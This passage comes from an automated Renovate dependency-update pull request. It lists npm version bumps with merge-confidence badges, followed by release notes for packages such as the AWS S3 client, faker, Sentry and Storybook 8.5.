| [@testing-library/react](https://redirect.github.com/testing-library/react-testing-library) | [`16.1.0` -> `16.2.0`](https://renovatebot.com/diffs/npm/@testing-library%2freact/16.1.0/16.2.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@testing-library%2freact/16.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@testing-library%2freact/16.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@testing-library%2freact/16.1.0/16.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@testing-library%2freact/16.1.0/16.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node)) | [`20.17.12` -> `20.17.14`](https://renovatebot.com/diffs/npm/@types%2fnode/20.17.12/20.17.14) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/20.17.14?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fnode/20.17.14?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fnode/20.17.12/20.17.14?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/20.17.12/20.17.14?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [fs-extra](https://redirect.github.com/jprichardson/node-fs-extra) | [`11.2.0` -> `11.3.0`](https://renovatebot.com/diffs/npm/fs-extra/11.2.0/11.3.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/fs-extra/11.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/fs-extra/11.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/fs-extra/11.2.0/11.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/fs-extra/11.2.0/11.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [happy-dom](https://redirect.github.com/capricorn86/happy-dom) | [`16.5.3` -> `16.6.0`](https://renovatebot.com/diffs/npm/happy-dom/16.5.3/16.6.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/happy-dom/16.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/happy-dom/16.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/happy-dom/16.5.3/16.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/happy-dom/16.5.3/16.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [nest-winston](https://redirect.github.com/gremo/nest-winston) | [`1.10.0` -> `1.10.1`](https://renovatebot.com/diffs/npm/nest-winston/1.10.0/1.10.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/nest-winston/1.10.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/nest-winston/1.10.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/nest-winston/1.10.0/1.10.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/nest-winston/1.10.0/1.10.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [postcss](https://postcss.org/) ([source](https://redirect.github.com/postcss/postcss)) | [`8.5.0` -> `8.5.1`](https://renovatebot.com/diffs/npm/postcss/8.5.0/8.5.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/postcss/8.5.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/postcss/8.5.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/postcss/8.5.0/8.5.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/postcss/8.5.0/8.5.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [shiki](https://redirect.github.com/shikijs/shiki) ([source](https://redirect.github.com/shikijs/shiki/tree/HEAD/packages/shiki)) | [`1.27.0` -> `1.27.2`](https://renovatebot.com/diffs/npm/shiki/1.27.0/1.27.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/shiki/1.27.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/shiki/1.27.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/shiki/1.27.0/1.27.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/shiki/1.27.0/1.27.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [sonner](https://sonner.emilkowal.ski/) ([source](https://redirect.github.com/emilkowalski/sonner)) | [`1.7.1` -> `1.7.2`](https://renovatebot.com/diffs/npm/sonner/1.7.1/1.7.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/sonner/1.7.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/sonner/1.7.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/sonner/1.7.1/1.7.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/sonner/1.7.1/1.7.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [storybook](https://redirect.github.com/storybookjs/storybook/tree/next/code/lib/cli) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/lib/cli)) | [`8.4.7` -> `8.5.0`](https://renovatebot.com/diffs/npm/storybook/8.4.7/8.5.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/storybook/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/storybook/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/storybook/8.4.7/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/storybook/8.4.7/8.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [undici](https://undici.nodejs.org) ([source](https://redirect.github.com/nodejs/undici)) | [`7.2.1` -> `7.2.2`](https://renovatebot.com/diffs/npm/undici/7.2.1/7.2.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/undici/7.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/undici/7.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/undici/7.2.1/7.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/undici/7.2.1/7.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [wrangler](https://redirect.github.com/cloudflare/workers-sdk) ([source](https://redirect.github.com/cloudflare/workers-sdk/tree/HEAD/packages/wrangler)) | [`3.101.0` -> `3.102.0`](https://renovatebot.com/diffs/npm/wrangler/3.101.0/3.102.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/wrangler/3.102.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/wrangler/3.102.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/wrangler/3.101.0/3.102.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/wrangler/3.101.0/3.102.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>aws/aws-sdk-js-v3 (@&#8203;aws-sdk/client-s3)</summary>

### [`v3.729.0`](https://redirect.github.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#37290-2025-01-15)

[Compare Source](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.726.1...v3.729.0)

##### Features

-   **client-s3:** This change enhances integrity protections for new SDK requests to S3. S3 SDKs now support the CRC64NVME checksum algorithm, full object checksums for multipart S3 objects, and new default integrity protections for S3 requests. ([a550721](https://redirect.github.com/aws/aws-sdk-js-v3/commit/a550721e05a76f741c9a702aefd27c32da06aa27))

#### [3.726.1](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.726.0...v3.726.1) (2025-01-10)

**Note:** Version bump only for package [@&#8203;aws-sdk/client-s3](https://redirect.github.com/aws-sdk/client-s3)

</details>

<details>
<summary>ionic-team/capacitor-plugins (@&#8203;capacitor/browser)</summary>

### [`v6.0.5`](https://redirect.github.com/ionic-team/capacitor-plugins/releases/tag/%40capacitor/browser%406.0.5)

[Compare Source](https://redirect.github.com/ionic-team/capacitor-plugins/compare/@capacitor/browser@6.0.4...@capacitor/browser@6.0.5)

##### Bug Fixes

-   **browser:** crash when trying to open blob urls on android ([#&#8203;2274](https://redirect.github.com/ionic-team/capacitor-plugins/issues/2274)) ([#&#8203;2294](https://redirect.github.com/ionic-team/capacitor-plugins/issues/2294)) ([111582c](https://redirect.github.com/ionic-team/capacitor-plugins/commit/111582c2e723b9f614ae8d453d92481c0583083b))

</details>

<details>
<summary>faker-js/faker (@&#8203;faker-js/faker)</summary>

### [`v9.4.0`](https://redirect.github.com/faker-js/faker/blob/HEAD/CHANGELOG.md#940-2025-01-15)

[Compare Source](https://redirect.github.com/faker-js/faker/compare/v9.3.0...v9.4.0)

##### Features

-   **finance:** use fake patterns for transactionDescription ([#&#8203;3202](https://redirect.github.com/faker-js/faker/issues/3202)) ([5ec4a6c](https://redirect.github.com/faker-js/faker/commit/5ec4a6c9ddc037ae189ee93f339fa52065ac2a26))
-   **internet:** update to simplified modern user-agent list ([#&#8203;3324](https://redirect.github.com/faker-js/faker/issues/3324)) ([3c7abb5](https://redirect.github.com/faker-js/faker/commit/3c7abb55e68fcbcf41560539a15845e7c8882765))
-   **location:** add list of spoken languages ([#&#8203;3333](https://redirect.github.com/faker-js/faker/issues/3333)) ([ff6dda9](https://redirect.github.com/faker-js/faker/commit/ff6dda94ddd312ebcff816cbb63e74df9857d091))

##### Changed Locales

-   **locale:** fix various locale data with trailing spaces ([#&#8203;3329](https://redirect.github.com/faker-js/faker/issues/3329)) ([e5eec0e](https://redirect.github.com/faker-js/faker/commit/e5eec0ed848d298ccba1d6db9392a507c5ce2bc4))
-   **locale:** improve product_name data in en and tr ([#&#8203;3372](https://redirect.github.com/faker-js/faker/issues/3372)) ([773fc1f](https://redirect.github.com/faker-js/faker/commit/773fc1f654a2ab57d048443e54761f0f288e7427))

##### Bug Fixes

-   **animal:** re-moo-ved some incorrect cow data ([#&#8203;3326](https://redirect.github.com/faker-js/faker/issues/3326)) ([47f835b](https://redirect.github.com/faker-js/faker/commit/47f835bd0dc257e5d7b9d7e7e06c08854474a3a7))
-   basic wildcard range handling + add more tests ([#&#8203;3322](https://redirect.github.com/faker-js/faker/issues/3322)) ([817f8a0](https://redirect.github.com/faker-js/faker/commit/817f8a01d93378e00c03cf73154fcec34fd5feef))
-   **finance:** update Discover card number format to ensure accuracy ([#&#8203;3336](https://redirect.github.com/faker-js/faker/issues/3336)) ([69c0063](https://redirect.github.com/faker-js/faker/commit/69c006344b8c54a9cd5f0adc36d49c88a223de4e))
-   **image:** dataUri should return random type ([#&#8203;3347](https://redirect.github.com/faker-js/faker/issues/3347)) ([eceb17d](https://redirect.github.com/faker-js/faker/commit/eceb17d25741c5fb1bd56b8151067eed3708a076))
-   **locales:** update chemical element names in zh_CN ([#&#8203;3371](https://redirect.github.com/faker-js/faker/issues/3371)) ([6ec6f84](https://redirect.github.com/faker-js/faker/commit/6ec6f84922a16a8489215ba152e683227f5c8262))
-   **location:** fix bad uz street_name_part data ([#&#8203;3328](https://redirect.github.com/faker-js/faker/issues/3328)) ([b6132cb](https://redirect.github.com/faker-js/faker/commit/b6132cbee67ae7e53f57ffb344688d3980f91d3d))
-   **music:** fix truncated song names with commas ([#&#8203;3327](https://redirect.github.com/faker-js/faker/issues/3327)) ([f36fc71](https://redirect.github.com/faker-js/faker/commit/f36fc71ac4cce6d5a6c9e6b16d7a22a98a01db74)), closes [#&#8203;996](https://redirect.github.com/faker-js/faker/issues/996)
-   **system:** semver parts should not be limited to 0-9 ([#&#8203;3349](https://redirect.github.com/faker-js/faker/issues/3349)) ([c0d92b8](https://redirect.github.com/faker-js/faker/commit/c0d92b8fa856d0c841f5aee57c6e08627025447a))

</details>

<details>
<summary>open-telemetry/opentelemetry-js (@&#8203;opentelemetry/core)</summary>

### [`v1.30.1`](https://redirect.github.com/open-telemetry/opentelemetry-js/compare/v1.30.0...cbc912d67bda462ca00449d7ce7b80052c20a4fc)

[Compare Source](https://redirect.github.com/open-telemetry/opentelemetry-js/compare/v1.30.0...v1.30.1)

</details>

<details>
<summary>getsentry/sentry-electron (@&#8203;sentry/electron)</summary>

### [`v5.10.0`](https://redirect.github.com/getsentry/sentry-electron/blob/HEAD/CHANGELOG.md#5100)

[Compare Source](https://redirect.github.com/getsentry/sentry-electron/compare/5.9.0...5.10.0)

-   fix: Deprecate renderer init options which should only be used in main process
    ([#&#8203;1044](https://redirect.github.com/getsentry/sentry-electron/issues/1044))
-   feat: Update from
    [v8.46.0](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/8.46.0)
    to
    [v8.48.0](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/8.48.0)
    of JavaScript SDKs ([#&#8203;1046](https://redirect.github.com/getsentry/sentry-electron/issues/1046))
-   feat: Determine Electron process from minidump metadata ([#&#8203;1049](https://redirect.github.com/getsentry/sentry-electron/issues/1049))
-   fix: Guard against invalid queue entries ([#&#8203;1053](https://redirect.github.com/getsentry/sentry-electron/issues/1053))

</details>

<details>
<summary>getsentry/sentry-javascript (@&#8203;sentry/react)</summary>

### [`v8.50.0`](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/8.50.0)

[Compare Source](https://redirect.github.com/getsentry/sentry-javascript/compare/8.49.0...8.50.0)

-   feat(v8/react): Add support for React Router `createMemoryRouter` ([#&#8203;14985](https://redirect.github.com/getsentry/sentry-javascript/pull/14985))

#### Bundle size 📦

| Path                                                             | Size              |
| ---------------------------------------------------------------- | ----------------- |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser)                                                  | 23.29 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) - with treeshaking flags                         | 21.96 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing)                                  | 35.85 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay)                          | 73.19 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay) - with treeshaking flags | 63.58 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay with Canvas)              | 77.5 KB   |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay, Feedback)                | 89.43 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Feedback)                                 | 39.5 KB   |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. sendFeedback)                             | 27.89 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. FeedbackAsync)                            | 32.69 KB  |
| [@&#8203;sentry/react](https://redirect.github.com/sentry/react)                                                    | 25.97 KB  |
| [@&#8203;sentry/react](https://redirect.github.com/sentry/react) (incl. Tracing)                                    | 38.67 KB  |
| [@&#8203;sentry/vue](https://redirect.github.com/sentry/vue)                                                      | 27.57 KB  |
| [@&#8203;sentry/vue](https://redirect.github.com/sentry/vue) (incl. Tracing)                                      | 37.71 KB  |
| [@&#8203;sentry/svelte](https://redirect.github.com/sentry/svelte)                                                   | 23.45 KB  |
| CDN Bundle                                                       | 24.49 KB  |
| CDN Bundle (incl. Tracing)                                       | 37.56 KB  |
| CDN Bundle (incl. Tracing, Replay)                               | 72.84 KB  |
| CDN Bundle (incl. Tracing, Replay, Feedback)                     | 78.2 KB   |
| CDN Bundle - uncompressed                                        | 71.93 KB  |
| CDN Bundle (incl. Tracing) - uncompressed                        | 111.42 KB |
| CDN Bundle (incl. Tracing, Replay) - uncompressed                | 225.68 KB |
| CDN Bundle (incl. Tracing, Replay, Feedback) - uncompressed      | 238.78 KB |
| [@&#8203;sentry/nextjs](https://redirect.github.com/sentry/nextjs) (client)                                          | 38.92 KB  |
| [@&#8203;sentry/sveltekit](https://redirect.github.com/sentry/sveltekit) (client)                                       | 36.35 KB  |
| [@&#8203;sentry/node](https://redirect.github.com/sentry/node)                                                     | 162.82 KB |
| [@&#8203;sentry/node](https://redirect.github.com/sentry/node) - without tracing                                   | 98.95 KB  |
| [@&#8203;sentry/aws-serverless](https://redirect.github.com/sentry/aws-serverless)                                           | 126.65 KB |

### [`v8.49.0`](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/8.49.0)

[Compare Source](https://redirect.github.com/getsentry/sentry-javascript/compare/8.48.0...8.49.0)

-   feat(v8/browser): Flush offline queue on flush and browser online event ([#&#8203;14969](https://redirect.github.com/getsentry/sentry-javascript/pull/14969))
-   feat(v8/react): Add a `handled` prop to ErrorBoundary ([#&#8203;14978](https://redirect.github.com/getsentry/sentry-javascript/pull/14978))
-   fix(profiling/v8): Don't put `require`, `__filename` and `__dirname` on global object ([#&#8203;14952](https://redirect.github.com/getsentry/sentry-javascript/pull/14952))
-   fix(v8/node): Enforce that ContextLines integration does not leave open file handles ([#&#8203;14997](https://redirect.github.com/getsentry/sentry-javascript/pull/14997))
-   fix(v8/replay): Disable mousemove sampling in rrweb for iOS browsers ([#&#8203;14944](https://redirect.github.com/getsentry/sentry-javascript/pull/14944))
-   fix(v8/sveltekit): Ensure source maps deletion is called after source ma… ([#&#8203;14963](https://redirect.github.com/getsentry/sentry-javascript/pull/14963))
-   fix(v8/vue): Re-throw error when no errorHandler exists ([#&#8203;14943](https://redirect.github.com/getsentry/sentry-javascript/pull/14943))

Work in this release was contributed by [@&#8203;HHK1](https://redirect.github.com/HHK1) and [@&#8203;mstrokin](https://redirect.github.com/mstrokin). Thank you for your contribution!

#### Bundle size 📦

| Path                                                             | Size              |
| ---------------------------------------------------------------- | ----------------- |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser)                                                  | 23.29 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) - with treeshaking flags                         | 21.96 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing)                                  | 35.85 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay)                          | 73.19 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay) - with treeshaking flags | 63.58 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay with Canvas)              | 77.5 KB   |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay, Feedback)                | 89.44 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Feedback)                                 | 39.5 KB   |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. sendFeedback)                             | 27.89 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. FeedbackAsync)                            | 32.69 KB  |
| [@&#8203;sentry/react](https://redirect.github.com/sentry/react)                                                    | 25.97 KB  |
| [@&#8203;sentry/react](https://redirect.github.com/sentry/react) (incl. Tracing)                                    | 38.67 KB  |
| [@&#8203;sentry/vue](https://redirect.github.com/sentry/vue)                                                      | 27.57 KB  |
| [@&#8203;sentry/vue](https://redirect.github.com/sentry/vue) (incl. Tracing)                                      | 37.71 KB  |
| [@&#8203;sentry/svelte](https://redirect.github.com/sentry/svelte)                                                   | 23.45 KB  |
| CDN Bundle                                                       | 24.49 KB  |
| CDN Bundle (incl. Tracing)                                       | 37.56 KB  |
| CDN Bundle (incl. Tracing, Replay)                               | 72.84 KB  |
| CDN Bundle (incl. Tracing, Replay, Feedback)                     | 78.2 KB   |
| CDN Bundle - uncompressed                                        | 71.93 KB  |
| CDN Bundle (incl. Tracing) - uncompressed                        | 111.42 KB |
| CDN Bundle (incl. Tracing, Replay) - uncompressed                | 225.68 KB |
| CDN Bundle (incl. Tracing, Replay, Feedback) - uncompressed      | 238.78 KB |
| [@&#8203;sentry/nextjs](https://redirect.github.com/sentry/nextjs) (client)                                          | 38.92 KB  |
| [@&#8203;sentry/sveltekit](https://redirect.github.com/sentry/sveltekit) (client)                                       | 36.36 KB  |
| [@&#8203;sentry/node](https://redirect.github.com/sentry/node)                                                     | 162.82 KB |
| [@&#8203;sentry/node](https://redirect.github.com/sentry/node) - without tracing                                   | 98.95 KB  |
| [@&#8203;sentry/aws-serverless](https://redirect.github.com/sentry/aws-serverless)                                           | 126.65 KB |

</details>

<details>
<summary>DaveMBush/eslint-plugin-rxjs (@&#8203;smarttools/eslint-plugin-rxjs)</summary>

### [`v1.0.16`](https://redirect.github.com/DaveMBush/eslint-plugin-rxjs/releases/tag/v1.0.16): 1.0.16 (2025-01-15)

[Compare Source](https://redirect.github.com/DaveMBush/eslint-plugin-rxjs/compare/v1.0.15...v1.0.16)

Remove name property from recommended-legacy
Cleans up circular references

</details>

<details>
<summary>storybookjs/storybook (@&#8203;storybook/addon-essentials)</summary>

### [`v8.5.0`](https://redirect.github.com/storybookjs/storybook/blob/HEAD/CHANGELOG.md#850)

[Compare Source](https://redirect.github.com/storybookjs/storybook/compare/v8.4.7...v8.5.0)

Storybook 8.5 is packed with powerful features to enhance your development workflow. This release makes it easier than ever to build accessible, well-tested UIs. Here’s what’s new:

-   🦾 Realtime accessibility tests to help build UIs for everybody
-   🛡️ Project code coverage to measure the completeness of your tests
-   🎯 Focused tests for faster test feedback
-   ⚛️ React Native Web Vite framework (experimental) for testing mobile UI⚛️
-   🎁 Storybook test early access program to level up your testing game
-   💯 Hundreds more improvements

<details>
<summary>List of all updates</summary>

-   Addon A11y: Add conditional rendering for a11y violation number in Testing Module - [#&#8203;30073](https://redirect.github.com/storybookjs/storybook/pull/30073), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
-   Addon A11y: Add typesVersions support for TypeScript definitions in a11y package - [#&#8203;30005](https://redirect.github.com/storybookjs/storybook/pull/30005), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
-   Addon A11y: Adjust default behaviour when using with experimental-addon-test - [#&#8203;30162](https://redirect.github.com/storybookjs/storybook/pull/30162), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
-   Addon A11y: Change default element selector - [#&#8203;30253](https://redirect.github.com/storybookjs/storybook/pull/30253), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
-   Addon A11y: Create a11y test provider and revamp a11y addon - [#&#8203;29643](https://redirect.github.com/storybookjs/storybook/pull/29643), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
-   Addon A11y: Don't set a11y tag as comment in automigrations - [#&#8203;30257](https://redirect.github.com/storybookjs/storybook/pull/30257), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
-   Addon A11y: Fix skipped status handling in Testing Module - [#&#8203;30077](https://redirect.github.com/storybookjs/storybook/pull/30077), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
-   Addon A11y: Refactor environment variable handling for Vitest integration - [#&#8203;30022](https://redirect.github.com/storybookjs/storybook/pull/30022), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
-   Addon A11y: Remove warnings API - [#&#8203;30049](https://redirect.github.com/storybookjs/storybook/pull/30049), thanks [@&#8203;kasperpeulen](https://redirect.github.com/kasperpeulen)!
-   Addon A11y: Run the a11y automigration on postInstall - [#&#8203;30004](https://redirect.github.com/storybookjs/storybook/pull/30004), thanks [@&#8203;kasperpeulen](https://redirect.github.com/kasperpeulen)!
-   Addon A11y: Show errors of axe properly - [#&#8203;30050](https://redirect.github.com/storybookjs/storybook/pull/30050), thanks [@&#8203;kasperpeulen](https://redirect.github.com/kasperpeulen)!
-   Addon A11y: Update accessibility status handling in TestProviderRender - [#&#8203;30027](https://redirect.github.com/storybookjs/storybook/pull/30027), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
-   Addon Docs: Dynamically import rehype - [#&#8203;29544](https://redirect.github.com/storybookjs/storybook/pull/29544), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
-   Addon Docs: Make new code panel opt in - [#&#8203;30248](https://redirect.github.com/storybookjs/storybook/pull/30248), thanks [@&#8203;shilman](https://redirect.github.com/shilman)!
-   Addon Onboarding: Prebundle react-confetti - [#&#8203;29996](https://redirect.github.com/storybookjs/storybook/pull/29996), thanks [@&#8203;yannbf](https://redirect.github.com/yannbf)!
-   Addon Test: Add `@vitest/coverage-v8` during postinstall if no coverage reporter is installed - [#&#8203;29993](https://redirect.github.com/storybookjs/storybook/pull/29993), thanks [@&#8203;ghengeveld](https://redirect.github.com/ghengeveld)!
-   Addon Test: Add prerequisite check for MSW - [#&#8203;30193](https://redirect.github.com/storybookjs/storybook/pull/30193), thanks [@&#8203;yannbf](https://redirect.github.com/yannbf)!
-   Addon Test: Add support for previewHead - [#&#8203;29808](https://redirect.github.com/storybookjs/storybook/pull/29808), thanks [@&#8203;ndelangen](https://redirect.github.com/ndelangen)!
-   Addon Test: Add Vitest 3 support - [#&#8203;30181](https://redirect.github.com/storybookjs/storybook/pull/30181), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
-   Addon Test: Always run Vitest in watch mode internally - [#&#8203;29749](https://redirect.github.com/storybookjs/storybook/pull/29749), thanks [@&#8203;JReinhold](https://redirect.github.com/JReinhold)!
-   Addon Test: Always use installed version of vitest - [#&#8203;30134](https://redirect.github.com/storybookjs/storybook/pull/30134), thanks [@&#8203;kasperpeulen](https://redirect.github.com/kasperpeulen)!
-   Addon Test: Clarify message when `vitest` detects missing deps - [#&#8203;29763](https://redirect.github.com/storybookjs/storybook/pull/29763), thanks [@&#8203;ndelangen](https://redirect.github.com/ndelangen)!
-   Addon Test: Clear coverage data when starting or watching - [#&#8203;30072](https://redirect.github.com/storybookjs/storybook/pull/30072), thanks [@&#8203;ghengeveld](https://redirect.github.com/ghengeveld)!
-   Addon Test: Context menu UI - [#&#8203;29727](https://redirect.github.com/storybookjs/storybook/pull/29727), thanks [@&#8203;ghengeveld](https://redirect.github.com/ghengeveld)!
-   Addon Test: Context menu updates - [#&#8203;30107](https://redirect.github.com/storybookjs/storybook/pull/30107), thanks [@&#8203;ghengeveld](https://redirect.github.com/ghengeveld)!
-   Addon Test: Correctly stop Storybook when Vitest closes - [#&#8203;30012](https://redirect.github.com/storybookjs/storybook/pull/30012), thanks [@&#8203;JReinhold](https://redirect.github.com/JReinhold)!
-   Addon Test: Filter out falsy test results in TestProviderRender - [#&#8203;30001](https://redirect.github.com/storybookjs/storybook/pull/30001), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
-   Addon Test: Fix documentation links - [#&#8203;30128](https://redirect.github.com/storybookjs/storybook/pull/30128), thanks [@&#8203;yannbf](https://redirect.github.com/yannbf)!
-   Addon Test: Fix duplicate `test.include` patterns - [#&#8203;30029](https://redirect.github.com/storybookjs/storybook/pull/30029), thanks [@&#8203;JReinhold](https://redirect.github.com/JReinhold)!
-   Addon Test: Fix environment variable for Vitest Storybook integration - [#&#8203;30054](https://redirect.github.com/storybookjs/storybook/pull/30054), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
-   Addon Test: Fix error reporting for `vitest` crashes - [#&#8203;29751](https://redirect.github.com/storybookjs/storybook/pull/29751), thanks [@&#8203;ndelangen](https://redirect.github.com/ndelangen)!
-   Addon Test: Fix generated path to `vitest.setup.js` - [#&#8203;30233](https://redirect.github.com/storybookjs/storybook/pull/30233), thanks [@&#8203;JReinhold](https://redirect.github.com/JReinhold)!
-   Addon Test: Fix indexing behavior - [#&#8203;29836](https://redirect.github.com/storybookjs/storybook/pull/29836), thanks [@&#8203;yannbf](https://redirect.github.com/yannbf)!
-   Addon Test: Fix printing null% for coverage - [#&#8203;30061](https://redirect.github.com/storybookjs/storybook/pull/30061), thanks [@&#8203;ghengeveld](https://redirect.github.com/ghengeveld)!
